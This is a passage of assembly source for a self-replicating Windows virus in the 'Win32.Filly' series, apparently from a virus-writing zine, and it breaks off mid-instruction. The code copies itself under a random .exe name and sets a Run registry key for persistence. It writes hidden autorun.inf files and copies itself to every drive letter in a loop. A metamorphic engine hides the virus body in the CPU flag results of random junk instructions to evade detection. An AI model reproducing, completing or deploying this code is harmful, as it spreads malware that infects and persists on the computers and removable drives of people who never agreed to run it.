BYTE PTR DS:[EDI],DL+;; 004020C7 . 47 INC EDI+;; 004020C8 . B9 CBC5FCAC MOV ECX,ACFCC5CB+;; 004020CD . B8 550D859F MOV EAX,9F850D55+;; 004020D2 . 29C1 SUB ECX,EAX+;; 004020D4 . 9C PUSHFD+;; 004020D5 . 58 POP EAX+;; 004020D6 . AA STOS BYTE PTR ES:[EDI]+;; 004020D7 . B8 CB5183AB MOV EAX,AB8351CB+;; 004020DC . B9 EEF33292 MOV ECX,9232F3EE+;; 004020E1 . D3C0 ROL EAX,CL+;; 004020E3 . BA 8B47E2EB MOV EDX,EBE2478B+;; 004020E8 . 4A DEC EDX+;; 004020E9 . 9F LAHF+;; 004020EA . 8827 MOV BYTE PTR DS:[EDI],AH+;; 004020EC . 47 INC EDI+;; 004020ED . BA F065255E MOV EDX,5E2565F0+;; 004020F2 . B9 A5D9FA8B MOV ECX,8BFAD9A5+;; 004020F7 . 01CA ADD EDX,ECX+;; 004020F9 . B8 8E0FB438 MOV EAX,38B40F8E+;; 004020FE . 3F AAS+;; 004020FF . BB 6B6AF3EA MOV EBX,EAF36A6B+;; 00402104 . B8 7B9CB043 MOV EAX,43B09C7B+;; 00402109 . 01C3 ADD EBX,EAX+;; 0040210B . 9F LAHF+;; 0040210C . 8827 MOV BYTE PTR DS:[EDI],AH+;; 0040210E . 47 INC EDI+;;+;; This code generates 2 bytes of the virus code.+;;+;;+;;+;; Thanks alot to hh86 for telling me about this non-standard code+;; representation she is working on, and for pointing out that LAHF+;; is actually *very* useful :)+;;+;; This is the second member of a new series of self-replicators:+;; - Win32.Kitti (overlapping code engine; in valhalla#1)+;; - Win32.Filly (code as shadow of overlayed instruction flow; in valhalla#2)+;;+;;+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+++include 'E:\Programme\FASM\INCLUDE\win32ax.inc'++.data+ hMyFileName dd 0x0+ hFileHandle dd 0x0+ hMapHandle dd 0x0+ hMapViewAddress dd 0x0++ hFileCodeStart dd 0x0++ RandomNumber dd 0x0++ SpaceForHDC: dd 0x0 ; should be 0x0, C:\+ RandomFileName: times 13 db 0x0+++ SpaceForHDC2: dd 0x0 ; should be 0x0, X:\+ RandomFileName2:times 13 db 0x0++ stKey: times 47 db 0x0 ; "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0x0+ hKey dd 0x0+++ stAutorunWithDrive db 0x0, 0x0, 0x0 ; "X:\"+ stAutoruninf: times 12 db 0x0 ; "autorun.inf"++++ stAutoRunContent: times 52 db 0x0+++ hCreateFileAR dd 0x0+ hCreateFileMappingAR dd 0x0++ constFileSize EQU 185344+ constCodeStart EQU 0x400++ FlagMask db 0x0 ; S00A'0P1C+ MaskNibble0 EQU 0000'0001b+ MaskNibble1 EQU 0001'0001b+ MaskNibble2 EQU 0000'0101b+ MaskNibble3 EQU 1000'0100b+ MaskNibble4 EQU 1001'0100b+ MaskNibble5 EQU 1001'0101b+ MaskRandom EQU 0000'0000b ; no content - for trash++ VerifiedAddress dd 0x0+++ MyStartAddresse dd 0x0++ NibbleData db 0x0++ DecryptedCode dd 0x0++++.code+start:+; ###########################################################################+; #####+; ##### Preparation (copy file, get kernel, ...)+; #####++StartEngine:+ call GetMyStartAddresse+ GetMyStartAddresse:+ pop eax+ sub eax, (GetMyStartAddresse-StartEngine)++ mov dword[MyStartAddresse], eax++++ push 0x8007+ stdcall dword[SetErrorMode]++ stdcall dword[GetCommandLineA]+ mov dword[hMyFileName], eax+ cmp byte[eax], '"'+ jne FileNameIsFine+ inc eax+ mov dword[hMyFileName], eax++ FindFileNameLoop:+ inc eax+ cmp byte[eax], '"'+ jne FindFileNameLoop++ mov byte[eax], 0x0+ FileNameIsFine:+++ stdcall dword[GetTickCount]+ mov dword[RandomNumber], eax++ xor esi, esi+ CopyFileAndRegEntryMore:+ mov ebx, 26+ mov ecx, 97+ call CreateSpecialRndNumber++ mov byte[RandomFileName+esi], dl+ inc esi+ cmp esi, 8+ jb CopyFileAndRegEntryMore++ mov eax, ".exe"+ mov dword[RandomFileName+esi], eax++ mov al, "C"+ mov byte[SpaceForHDC+1], al+ mov al, ":"+ mov byte[SpaceForHDC+2], al+ mov al, "\"+ mov byte[SpaceForHDC+3], al++ push FALSE+ push SpaceForHDC+1+ push dword[hMyFileName]+ stdcall dword[CopyFileA]++++; #####+; ##### Preparation (copy file, get kernel, ...)+; #####+; ###########################################################################+++; ###########################################################################+; #####+; ##### Open New File+; #####++ push 0x0+ push FILE_ATTRIBUTE_NORMAL+ push OPEN_ALWAYS+ push 0x0+ push 0x0+ push (GENERIC_READ or GENERIC_WRITE)+ push SpaceForHDC+1+ stdcall dword[CreateFileA]++ cmp eax, INVALID_HANDLE_VALUE+ je IVF_NoCreateFile+ mov dword[hFileHandle], eax++ push 0x0+ push constFileSize+ push 0x0 ; nFileSizeHigh=0 from above+ push PAGE_READWRITE+ push 0x0+ push dword[hFileHandle]+ stdcall dword[CreateFileMappingA]++ cmp eax, 0x0+ je IVF_NoCreateMap+ mov dword[hMapHandle], eax++ push constFileSize+ push 0x0+ push 0x0+ push FILE_MAP_WRITE+ push dword[hMapHandle]+ stdcall dword[MapViewOfFile]++ cmp eax, 0x0+ je IVF_NoMapView+ mov dword[hMapViewAddress], eax++; #####+; ##### Open New File+; #####+; ###########################################################################++ call DoNibbleTrafo+++; ###########################################################################+; #####+; ##### Close New File+; #####++ IVF_CloseMapView:+ push dword[hMapViewAddress]+ stdcall dword[UnmapViewOfFile]++ IVF_NoMapView:+ push dword[hMapHandle]+ stdcall dword[CloseHandle]++ IVF_NoCreateMap:+ push dword[hFileHandle]+ stdcall dword[CloseHandle]++ IVF_NoCreateFile:++; #####+; ##### Close New File+; #####+; ###########################################################################+++; invoke ExitProcess, 0++; ###########################################################################+; #####+; ##### Spread this kitty ;)+; #####++SpreadKitty:+; Representation of "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"+; One could permute it - but too lazy for doing this task atm :)++ mov eax, stKey+ mov dword[eax+0x00], "SOFT"+ mov dword[eax+0x04], "WARE"+ mov dword[eax+0x08], "\Mic"+ mov dword[eax+0x0C], "roso"+ mov dword[eax+0x10], "ft\W"+ mov dword[eax+0x14], "indo"+ mov dword[eax+0x18], "ws\C"+ mov dword[eax+0x1C], "urre"+ mov dword[eax+0x20], "ntVe"+ mov dword[eax+0x24], "rsio"+ mov dword[eax+0x28], "n\Ru"+ mov byte[eax+0x2C], "n"++ push 0x0+ push hKey+ push 0x0+ push KEY_ALL_ACCESS+ push REG_OPTION_NON_VOLATILE+ push 0x0+ push 0x0+ push stKey+ push HKEY_LOCAL_MACHINE+ stdcall dword[RegCreateKeyExA]++ push 16+ push SpaceForHDC+1+ push REG_SZ+ push 0x0+ push 0x0+ push dword[hKey]+ stdcall dword[RegSetValueExA]++ push dword[hKey]+ stdcall dword[RegCloseKey]++ xor eax, eax+ mov dword[stAutorunWithDrive], "X:\a"+ mov dword[stAutorunWithDrive+2], "\aut"+ mov dword[stAutoruninf+3], "orun"+ mov dword[stAutoruninf+7], ".inf"++ mov dword[stAutoRunContent], "[Aut"+ mov dword[stAutoRunContent+0x04], "orun"+ mov dword[stAutoRunContent+0x08], 0x530A0D5D+ mov dword[stAutoRunContent+0x0C], "hell" ; !!!!!!!+ mov dword[stAutoRunContent+0x10], "Exec"+ mov dword[stAutoRunContent+0x14], "ute="+ mov eax, dword[RandomFileName] ; Filename: XXXXxxxx.exe+ mov dword[stAutoRunContent+0x18], eax+ mov eax, dword[RandomFileName+0x4] ; Filename: xxxxXXXX.exe+ mov dword[stAutoRunContent+0x1C], eax+ mov dword[stAutoRunContent+0x20], ".exe"+ mov dword[stAutoRunContent+0x24], 0x73550A0D+ mov dword[stAutoRunContent+0x28], "eAut"+ mov dword[stAutoRunContent+0x2C], "opla"+ mov dword[stAutoRunContent+0x30], 0x00313D79++ ; i like that coding style, roy g biv! :))+ push 51+ push 0x0+ push 0x0+ push FILE_MAP_ALL_ACCESS+ push 0x0+ push 51+ push 0x0+ push PAGE_READWRITE+ push 0x0+ push 0x0+ push FILE_ATTRIBUTE_HIDDEN+ push OPEN_ALWAYS+ push 0x0+ push 0x0+ push (GENERIC_READ or GENERIC_WRITE)+ push stAutoruninf++ stdcall dword[CreateFileA]+ push eax+ mov dword[hCreateFileAR], eax+ stdcall dword[CreateFileMappingA]+ push eax+ mov dword[hCreateFileMappingAR], eax+ stdcall dword[MapViewOfFile]++ xor cl, cl+ mov esi, stAutoRunContent+ MakeAutoRunInfoMore:+ mov bl, byte[esi]+ mov byte[eax], bl+ inc eax+ inc esi+ inc ecx+ cmp cl, 51+ jb MakeAutoRunInfoMore++ sub eax, 51+ push dword[hCreateFileAR]+ push dword[hCreateFileMappingAR]+ push eax+ stdcall dword[UnmapViewOfFile]+ stdcall dword[CloseHandle]+ stdcall dword[CloseHandle]++ mov dword[SpaceForHDC2+1], "A:\."+ mov eax, dword[RandomFileName]+ mov dword[RandomFileName2], eax ; XXXXxxxx.exe+ mov eax, dword[RandomFileName+0x04]+ mov dword[RandomFileName2+0x04], eax ; xxxxXXXX.exe+ mov eax, dword[RandomFileName+0x08]+ mov dword[RandomFileName2+0x08], eax ; .exe+++ SpreadKittyAnotherTime:+ mov dword[SpaceForHDC2], 0x003A4100 ; 0x0, "A:", 0x0++ STKAnotherRound:+ push SpaceForHDC2+1+ stdcall dword[GetDriveTypeA]++ xor ebx, ebx ; 0 ... No Drive+ ; 1 ... Drive (without autorun.inf)+ ; 2 ... Drive (with autorun.inf)++ mov cl, '\'+ mov byte[SpaceForHDC2+3],cl+++ cmp al, 0x2+ je STKWithAutoRun++ cmp al, 0x3+ je STKWithoutAutoRun++ cmp al, 0x4+ je STKWithAutoRun++ cmp al, 0x6+ je STKWithAutoRun++ jmp STKCreateEntriesForNextDrive++ STKWithAutoRun:++ push FALSE+ push stAutorunWithDrive+ push stAutoruninf+ stdcall dword[CopyFileA]++ STKWithoutAutoRun:++ push FALSE+ push SpaceForHDC2+1+ push SpaceForHDC+1+ stdcall dword[CopyFileA]+++ STKCreateEntriesForNextDrive:+ xor eax, eax+ mov al, byte[SpaceForHDC2+1]+ cmp al, "Z"+ je SpreadThisKittyEnd++ inc al+ mov byte[SpaceForHDC2+1], al ; next drive+ mov byte[stAutorunWithDrive], al ; next drive+ mov byte[SpaceForHDC2+3], ah ; 0x0, "X:", 0x0+ jmp STKAnotherRound+++ SpreadThisKittyEnd:+ call GetRandomNumber+ mov eax, dword[RandomNumber]+ and eax, (0x8000 - 1) ; 0-32 sec++ push eax+ stdcall dword[Sleep]++ call GetRandomNumber+ mov eax, dword[RandomNumber]+ and eax, (0x100-1)+ jnz SpreadKittyAnotherTime++jmp SpreadKittyAnotherTime++; #####+; ##### Spread this kitty ;)+; #####+; ###########################################################################++++DoNibbleTrafo:++ mov edi, dword[hMapViewAddress]+ add edi, constCodeStart++;;;;;;;;;;;;;;;;;;;;;;;;;;;+;;+;; First create the VirtualAlloc code and save the value+;;++ virtual at 0 ; cool FASM feature:+ ; this compiles code virtually+ ; and one can use variables to access it+ ; ideal for our purpose :)+ invoke VirtualAlloc, 0x0, 100'000, 0x1000, PAGE_EXECUTE_READWRITE+ mov dword[DecryptedCode], eax+ xchg edi, eax+ mov edi, edi ; just for padding...+ ; uuhh, do we know this instruction? ;)++ load iVirtualCodeA dword from 0+ load iVirtualCodeB dword from 4+ load iVirtualCodeC dword from 8+ load iVirtualCodeD dword from 12+ load iVirtualCodeE dword from 16+ load iVirtualCodeF dword from 20+ load iVirtualCodeG dword from 24 ; i hate "word", 2byte data-types.+ end virtual ; they are just unelegant...+++ mov dword[edi+00], iVirtualCodeA+ mov dword[edi+04], iVirtualCodeB+ mov dword[edi+08], iVirtualCodeC+ mov dword[edi+12], iVirtualCodeD+ mov dword[edi+16], iVirtualCodeE+ mov dword[edi+20], iVirtualCodeF+ mov dword[edi+24], iVirtualCodeG+ add edi, 26++ mov dword[VerifiedAddress], edi++;;+;; First create the VirtualAlloc code and save the value+;;+;;;;;;;;;;;;;;;;;;;;;;;;;;;+++;;;;;;;;;;;;;;;;;;;;;;;;;;;+;;+;; Now create the whole representation of the code in form of flags+;; of some other random code ( main engine )+;;+ mov esi, dword[MyStartAddresse]++ CreateCodeForAllBytes:+ mov al, byte[esi]++ mov byte[NibbleData], al+ and byte[NibbleData], 0000'1111b+ push esi+ call CreateCodeForNibble+ pop esi++ mov al, byte[esi]+ shr al, 4 ; get the second nibble of this byte+ mov byte[NibbleData], al+ and byte[NibbleData], 0000'1111b+ push esi+ call CreateCodeForNibble+ pop esi++ inc esi++ mov ebx, dword[MyStartAddresse]+ add ebx, (WholeCodeEnd-StartEngine)+ cmp esi, ebx+ jne CreateCodeForAllBytes+++;;+;; Now create the whole representation of the code in form of flags+;; of some other random code ( main engine )+;;+;;;;;;;;;;;;;;;;;;;;;;;;;;;++;;;;;;;;;;;;;;;;;;;;;;;;;;;+;;+;; In the end, rearrange the information to extract the viral code+;;++ virtual at 0+ mov ecx, dword[DecryptedCode]+ mov edx, ecx++ ReorganizeMore:+ mov bh, byte[ecx]+ inc ecx+ push 0 ; Some PIC workaround :)+ jmp Decrypt+ ReorganizeFirstNibbleBack:++ and al, 0000'1111b+ push eax++++ mov bh, byte[ecx]+ inc ecx++ push 1+ jmp Decrypt+ ReorganizeSecondNibbleBack:++ and al, 0000'1111b+ shl al, 4+ pop ebx+ add al, bl++ mov byte[edx], al+ inc edx+ mov eax, dword[DecryptedCode]+ add eax, (WholeCodeEnd-StartEngine)++ cmp edx, eax+ jne ReorganizeMore++ jmp dword[DecryptedCode]+++ Decrypt:++ ; in: bh=S00A'0P1C+ ; out: al=0000'SAPC+ mov al, bh ; al=S00A'0P1C+ and al, 0000'0001b ; al=0000'000C++ shr bh, 1 ; bh=0S00'A0P1+ push ebx+ and bh, 0000'0010b ; bh=0000'00P0+ add al, bh ; al=0000'00PC++ pop ebx ; bh=0S00'A0P1+ shr bh, 1 ; bh=00S0'0A0P+ push ebx+ and bh, 0000'0100b ; bh=0000'0A00+ add al, bh ; al=0000'0APC++ pop ebx ; bh=00S0'0A0P+ shr bh, 2 ; bh=0000'S00A+ and bh, 0000'1000b ; bh=0000'S000+ add al, bh ; al=0000'SAPC++ pop ebx+ test ebx, ebx++ jz ReorganizeFirstNibbleBack+ jmp ReorganizeSecondNibbleBack++ load cVirtualCodeA dword from 0 ; Most likely there is a more elegant+ load cVirtualCodeB dword from 4 ; way to handle this requirement+ load cVirtualCodeC dword from 8 ; using a FASM macro.+ load cVirtualCodeD dword from 12+ load cVirtualCodeE dword from 16 ; But i couldnt find one - tell me+ load cVirtualCodeF dword from 20 ; if you know a way to copy data+ load cVirtualCodeG dword from 24 ; to a memory addresse from a+ load cVirtualCodeH dword from 28 ; virtual compilation space.+ load cVirtualCodeI dword from 32+ load cVirtualCodeJ dword from 36+ load cVirtualCodeK dword from 40+ load cVirtualCodeL dword from 44+ load cVirtualCodeM dword from 48+ load cVirtualCodeN dword from 52+ load cVirtualCodeO dword from 56+ load cVirtualCodeP dword from 60+ load cVirtualCodeQ dword from 64+ load cVirtualCodeR dword from 68+ load cVirtualCodeS dword from 72+ load cVirtualCodeT dword from 76+ load cVirtualCodeU dword from 80+ load cVirtualCodeV dword from 84+ load cVirtualCodeW dword from 88+ load cVirtualCodeX byte from 92++ end virtual++ mov dword[edi+00], cVirtualCodeA+ mov dword[edi+04], cVirtualCodeB+ mov dword[edi+08], cVirtualCodeC+ mov dword[edi+12], cVirtualCodeD+ mov dword[edi+16], cVirtualCodeE+ mov dword[edi+20], cVirtualCodeF++ mov dword[edi+24], cVirtualCodeG+ mov dword[edi+28], cVirtualCodeH+ mov dword[edi+32], cVirtualCodeI+ mov dword[edi+36], cVirtualCodeJ+ mov dword[edi+40], cVirtualCodeK++ mov dword[edi+44], cVirtualCodeL+ mov dword[edi+48], cVirtualCodeM+ mov dword[edi+52], cVirtualCodeN+ mov dword[edi+56], cVirtualCodeO+ mov dword[edi+60], cVirtualCodeP++ mov dword[edi+64], cVirtualCodeQ+ mov dword[edi+68], cVirtualCodeR+ mov dword[edi+72], cVirtualCodeS+ mov dword[edi+76], cVirtualCodeT+ mov dword[edi+80], cVirtualCodeU++ mov dword[edi+84], cVirtualCodeV+ mov dword[edi+88], cVirtualCodeW+ mov byte[edi+92], cVirtualCodeX++;;+;; In the end, rearrange the information to extract the viral code+;;+;;;;;;;;;;;;;;;;;;;;;;;;;;;+++ret+++CreateCodeForNibble:+; 5 possible algos:+; -> 5+; -> 0+4 | 1+4 |2+4+; -> 4+0+++ CreateCodeBeginTrash:+ call GetRandomNumber+ test byte[RandomNumber+1], 0000'0011b+ jnz DoNibbleFindAlgo_NoTrashBegin+ mov byte[FlagMask], MaskRandom+ mov bl, byte[RandomNumber+2]+ call GetRandomNumber++ mov al, byte[RandomNumber]+ and al, 0000'0111b++ jz GC_Trash_Not0+ call GenerateNibble0+ jmp CreateCodeBeginTrash++ GC_Trash_Not0:+ dec al+ jz GC_Trash_Not1+ call GenerateNibble1+ jmp CreateCodeBeginTrash++ GC_Trash_Not1:+ dec al+ jz GC_Trash_Not2+ call GenerateNibble2+ jmp CreateCodeBeginTrash++ GC_Trash_Not2:+ dec al+ jz GC_Trash_Not3+ call GenerateNibble3+ jmp CreateCodeBeginTrash++ GC_Trash_Not3:+ dec al+ jz GC_Trash_Not4+ call GenerateNibble4+ jmp CreateCodeBeginTrash++ GC_Trash_Not4:+ dec al+ jz CreateCodeBeginTrash+ call GenerateNibble5++ jmp CreateCodeBeginTrash+ DoNibbleFindAlgo_NoTrashBegin:+++ DoNibbleNewRnd:+ call GetRandomNumber+ mov al, byte[RandomNumber]+ and al, 0000'0111b+ cmp al, 4+ ja DoNibbleNewRnd++ test al, -1++ jnz DoNibbleFindAlgoNot5+ ; -> 5+ mov byte[FlagMask], MaskNibble5+ mov bl, byte[NibbleData]+ call GenerateNibble5+ jmp DoNibbleFinalize++++ DoNibbleFindAlgoNot5:++ dec al+ jnz DoNibbleFindAlgoNot04+ ; -> 0+4++ mov byte[FlagMask], MaskNibble0+ mov bl, byte[NibbleData]+ call GenerateNibble0++ mov byte[FlagMask], MaskNibble4+ mov bl, byte[NibbleData]+ call GenerateNibble4+ jmp DoNibbleFinalize++++ DoNibbleFindAlgoNot04:++ dec al+ jnz DoNibbleFindAlgoNot14+ ; -> 1+4+ mov byte[FlagMask], MaskNibble5 ; need to clear AF first,+ mov bl, byte[RandomNumber+3] ; otherwise AAA/AAS influence CF+ and bl, 0000'1011b ; clear AF+ call GenerateNibble5++ mov byte[FlagMask], MaskNibble1+ mov bl, byte[NibbleData]+ call GenerateNibble1++ mov byte[FlagMask], MaskNibble4+ mov bl, byte[NibbleData]+ call GenerateNibble4+ jmp DoNibbleFinalize++++ DoNibbleFindAlgoNot14:++ dec al+ jnz DoNibbleFindAlgoNot24+ ; -> 2+4+ mov byte[FlagMask], MaskNibble2+ mov bl, byte[NibbleData]+ call GenerateNibble2++ mov byte[FlagMask], MaskNibble4+ mov bl, byte[NibbleData]+ call GenerateNibble4+ jmp DoNibbleFinalize++++ DoNibbleFindAlgoNot24:+ ; -> 4+0++ mov byte[FlagMask], MaskNibble4+ mov bl, byte[NibbleData]+ call GenerateNibble4++ mov byte[FlagMask], MaskNibble0+ mov bl, byte[NibbleData]+ call GenerateNibble0+; jmp DoNibbleFinalize+++ DoNibbleFinalize:++ call GetRandomNumber+ test byte[RandomNumber], 0001'0000b ; LAHF or PUSHFD+POP?+ jnz DoNF_PUSHFD++ mov byte[edi], 0x9F ; LAHF+ inc edi++ test byte[RandomNumber], 0000'1000b+ jnz DoNibbleFin_AH++ test byte[RandomNumber], 0000'0010b+ jnz DoNibbleFinAL_2++ mov byte[edi+00], 0x88+ mov byte[edi+01], 0xE0 ; mov al, ah+ jmp DoNibbleFinAL_2_X++ DoNibbleFinAL_2:+ mov byte[edi+00], 0x86+ mov byte[edi+01], 0xC4 ; xchg ah, al+ test byte[RandomNumber], 0000'0100b+ jnz DoNibbleFinAL_2_X++ mov byte[edi+01], 0xE0 ; xchg al, ah+ DoNibbleFinAL_2_X:++ mov byte[edi+02], 0xAA ; stos+ add edi, 3+ jmp DoNibbleEnd++++ DoNibbleFin_AH:+ mov byte[edi+00], 0x88+ mov byte[edi+01], 0x27 ; mov byte[edi], ah+ mov byte[edi+02], 0x47 ; inc edi (thx hh86 :D)+ add edi, 3+ jmp DoNibbleEnd+++ DoNF_PUSHFD:+ mov byte[edi], 0x9C ; pushfd+ inc edi++ test byte[RandomNumber], 0100'0000b+ jnz DoNF_PUSHFD_AL+++ mov al, byte[RandomNumber]+ and al, 0000'0011b+ add al, 0x58+ mov byte[edi+00], al ; pop e(a|c|d|b)x++ mov byte[edi+01], 0x88+ and al, 0000'0011b+ shl al, 3+ or al, 0000'0111b+ mov byte[edi+02], al ; mov byte[edi], (a|c|d|b)l+ mov byte[edi+03], 0x47 ; inc edi (thx hh86 :D)+ add edi, 4+ jmp DoNibbleEnd++ DoNF_PUSHFD_AL:+ mov byte[edi+00], 0x58 ; pop eax+ mov byte[edi+01], 0xAA ; stos+ add edi, 2+; jmp DoNibbleEnd++ DoNibbleEnd:++ mov dword[VerifiedAddress], edi++ret++; ###########################################################################+; #####+; ##### Generate Nibbles+; #####+++++; ###########################################################################+; ##### Nibble 0: CF - (ROL, ROR)++GenerateNibble0:+; edi ... pointer in filecode+; bl & 0000'1111b ... nibble to generate+++; ebp:+; 0 ... rol Reg, 1+; 1 ... rol Reg, cl++; 3 ... ror Reg, cl++++ call InformationToFlagByte ; bh=flag byte++ GN0_GetTypeAgain:+ call GetRandomNumber+ mov ebp, dword[RandomNumber]+ and ebp, 0000'0011b++ cmp ebp, 2+ je GN0_GetTypeAgain++ push 0 ; loop counter++ GN0_CF_loop: ; rol Reg, 1++ pop ecx+ inc ecx+ push ecx+ cmp ecx, 0x2A+ ja GN_PossibleInfinitLoop++ GN0_CF_GetAnotherCL:+ call GetRandomNumber+ mov ecx, dword[RandomNumber]++ test ecx, 0001'1111b ; shiftcount must not be zero+ jz GN0_CF_GetAnotherCL+++ call GetRandomNumber+ mov eax, dword[RandomNumber]+ push eax++ cmp ebp, 0+ jne GN0_CF_loop_ROLN++ rol eax, 1+ jmp GN0_CF_loop_LAHF++ GN0_CF_loop_ROLN: ; rol Reg, N/cl+ cmp ebp, 1+ jne GN0_CF_loop_RORN++ rol eax, cl+ jmp GN0_CF_loop_LAHF++ GN0_CF_loop_RORN: ; ror Reg, N/cl+ ror eax, cl+; jmp GN0_CF_loop_LAHF+++ GN0_CF_loop_LAHF:+ lahf++ pop edx++ and ah, byte[FlagMask]+ and bh, byte[FlagMask]++ cmp ah, bh+ jne GN0_CF_loop++ pop eax ; remove counter++ GN0_GetDifferentRegister:+ call GetRandomNumber+ mov eax, dword[RandomNumber]+ and al, 0000'0011b+ cmp al, 0000'0001b+ je GN0_GetDifferentRegister ; dont use ECX because we can use CL as second parameter (~2h to find this :) )++ or al, 0xB8 ; al=1011'10NN - NN...random (eax, ebx, ecx, edx)+ mov byte[edi], al+ inc edi++ mov dword[edi], edx+ add edi, 4++ push ebp+ and ebp, 0000'0001b+ pop ebp+ jnz GN0_CFN ; is it "rotate Reg, 1" ?++ mov byte[edi], 0xD1+ inc edi++ and al, 0000'0011b+ cmp ebp, 0+ jne GN0_CF_CreateCode_ROR+ add al, 0xC0+ jmp GN0_CF_CreateCode_done++ GN0_CF_CreateCode_ROR:+ add al, 0xC8++ GN0_CF_CreateCode_done:+ mov byte[edi], al+ inc edi+ jmp GN0_CF_End++++ GN0_CFN:++ mov byte[edi], 0xB9+ inc edi++ mov dword[edi], ecx+ add edi, 4++ mov byte[edi], 0xD3+ inc edi++ and al, 0000'0011b++ and ebp, 0000'0010b+ jnz GN0_CFN_ROR++ add al, 0xC0+ jmp GN0_CF_Write_End++ GN0_CFN_ROR:+ add al, 0xC8++ GN0_CF_Write_End:+ mov byte[edi], al+ inc edi++++ GN0_CF_End:+ mov dword[VerifiedAddress], edi++ret+++; ##### Nibble 0: CF - (ROL, ROR)+; ###########################################################################+++++; ###########################################################################+; ##### Nibble 1: AF, CF (PF, SF undefined) - (AAA, AAS)++GenerateNibble1:+; edi ... pointer in filecode+; bl & 0000'1111b ... nibble to generate++++ call InformationToFlagByte ; bh=flag byte++ call GetRandomNumber+ mov ebp, dword[RandomNumber]+ and ebp, 0000'0001b++ push 0 ; loop counter++ GN1_Loop:++ pop eax+ inc eax+ push eax+ cmp eax, 0x2A+ ja GN_PossibleInfinitLoop++ call GetRandomNumber+ mov eax, dword[RandomNumber]+ push eax++ cmp ebp, 0 ; this instruction clears AF. Thats important because+ jne GN1_Aaa ; AAA and AAS depend on AF, and influence CF depending on it.++ aas+ jmp GN1_LAHF++ GN1_Aaa:+ aaa+ jmp GN1_LAHF++ GN1_LAHF:+ pop edx++ lahf++ and ah, byte[FlagMask]+ and bh, byte[FlagMask]+ cmp ah, bh+ jne GN1_Loop++ pop eax ; remove counter++ mov byte[edi], 0xB8+ inc edi++ mov dword[edi], edx ; mov Reg1, NUMBER+ add edi, 4+++ cmp ebp, 0+ jne GN1_WriteAaa++ mov byte[edi], 0x3F+ inc edi+ jmp GN1_Fin++ GN1_WriteAaa:+ mov byte[edi], 0x37+ inc edi++ GN1_Fin:+ mov dword[VerifiedAddress], edi+++ret+++; ##### Nibble 1: AF, CF (PF, SF undefined) - (AAA, AAS)+; ###########################################################################+++++; ###########################################################################+; ##### Nibble 2: CF PF (AF undefined, SF undefined?) - (SHL, SHR, SAL, SAR)++GenerateNibble2:+; edi ... pointer in filecode+; bl & 0000'1111b ... nibble to generate+++; ebp:+; 0 ... shl Reg, 1+; 1 ... shl Reg, N/cl+; 4 ... sal Reg, 1+; 5 ... sal Reg, N/cl+; 7 ... sar Reg, N/cl+++ call InformationToFlagByte ; bh=flag byte++ GN2_GetTypeAgain:+ call GetRandomNumber+ mov ebp, dword[RandomNumber]+ and ebp, 0000'0111b++ cmp ebp, 2+ je GN2_GetTypeAgain+ cmp ebp, 3+ je GN2_GetTypeAgain+ cmp ebp, 6+ je GN2_GetTypeAgain++ push 0 ; counter++ GN2_Shift_loop: ; shl Reg, 1++ pop ecx+ inc ecx+ push ecx+ cmp ecx, 0x2A+ ja GN_PossibleInfinitLoop++ call GetRandomNumber+ mov ecx, dword[RandomNumber]++ GN2_CF_GetAnotherCL:+ call GetRandomNumber+ mov ecx, dword[RandomNumber]++ test ecx, 0001'1111b ; shiftcount must not be zero+ jz GN2_CF_GetAnotherCL++ call GetRandomNumber+ mov eax, dword[RandomNumber]+ push eax++ cmp ebp, 0+ jne GN2_Shift_loop_SHLN++ shl eax, 1+ jmp GN2_Shift_loop_LAHF++ GN2_Shift_loop_SHLN: ; shl Reg, N/cl+ cmp ebp, 1+ jne GN2_Shift_loop_SAL1++ shl eax, cl+ jmp GN2_Shift_loop_LAHF++ GN2_Shift_loop_SAL1: ; sal Reg, 1+ cmp ebp, 4+ jne GN2_Shift_loop_SALN++ sal eax, 1+ jmp GN2_Shift_loop_LAHF+++ GN2_Shift_loop_SALN: ; sal Reg, N+ cmp ebp, 5+ jne GN2_Shift_loop_SARN++ sal eax, cl+ jmp GN2_Shift_loop_LAHF+++ GN2_Shift_loop_SARN: ; sar Reg, N+ sar eax, cl+; jmp GN3_Shift_loop_LAHF+++ GN2_Shift_loop_LAHF:+ lahf++ pop edx++ and ah, byte[FlagMask]+ and bh, byte[FlagMask]++ cmp ah, bh+ jne GN2_Shift_loop++ pop eax ; remove counter++ GN2_GetDifferentRegister:+ call GetRandomNumber+ mov eax, dword[RandomNumber]+ and al, 0000'0011b+ cmp al, 0000'0001b+ je GN2_GetDifferentRegister ; dont use ECX because we can use CL as second parameter (~2h to find this :) )++ or al, 0xB8 ; al=1011'10NN - NN...random (eax, ebx, edx)+ mov byte[edi], al+ inc edi++ mov dword[edi], edx+ add edi, 4++ push ebp+ and ebp, 0000'0001b+ pop ebp+ jnz GN2_ShiftN ; is it "shift Reg, 1" ?++ mov byte[edi], 0xD1+ inc edi++ and al, 0000'0011b+ cmp ebp, 0+ jne GN2_Shift_CreateCode_SAL+ add al, 0xE0+ jmp GN2_Shift_CreateCode_done++ GN2_Shift_CreateCode_SAL:+ cmp ebp, 4+ jne GN2_Shift_CreateCode_SAR+ add al, 0xF0+ jmp GN2_Shift_CreateCode_done++ GN2_Shift_CreateCode_SAR:+ add al, 0xF0++ GN2_Shift_CreateCode_done:+ mov byte[edi], al+ inc edi+ jmp GN2_Shift_End++ GN2_ShiftN:++ and al, 0000'0011b++ cmp ebp, 1+ jne GN2_ShiftNum_NotShl++ add al, 0xE0 ; shl+ jmp GN2_ShiftNum_WriteNow++ GN2_ShiftNum_NotShl:+ cmp ebp, 5+ jne GN2_ShiftNum_NotSal++ add al, 0xF0 ; sal+ jmp GN2_ShiftNum_WriteNow++ GN2_ShiftNum_NotSal:+ add al, 0xF8 ; sar+; jmp GN2_ShiftNum_WriteNow++ GN2_ShiftNum_WriteNow:++ call GetRandomNumber+ mov ah, byte[RandomNumber] ; 0 ... shift Reg, NNNN+ ; 1 ... shift Reg, cl+ and ah, 0000'0001b++ jz GN2_Shift_Num++ mov byte[edi], 0xB9 ; mov ecx, ...+ inc edi++ mov dword[edi], ecx+ add edi, 4++ mov byte[edi], 0xD3+ inc edi++ mov byte[edi], al+ inc edi+ jmp GN2_Shift_End++ GN2_Shift_Num:+ mov byte[edi], 0xC1+ inc edi++ mov byte[edi], al+ inc edi++ mov byte[edi], cl+ inc edi+++ GN2_Shift_End:++ mov 